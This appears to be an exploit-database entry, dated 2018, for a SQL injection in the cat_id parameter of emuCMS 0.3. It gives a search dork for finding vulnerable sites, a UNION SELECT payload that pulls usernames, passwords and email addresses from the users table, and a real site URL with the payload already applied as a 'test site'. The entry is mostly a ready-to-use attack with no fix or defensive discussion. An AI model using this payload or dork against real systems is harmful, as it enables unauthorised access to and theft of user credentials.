emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability

======================================================
emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability
======================================================



#########################################################################
Dork : Powered by emuCMS

exploit : index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--

Test Sites

http://www.emusoft.org/index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--
##########################################################################



#  0day.today [2018-03-31]  #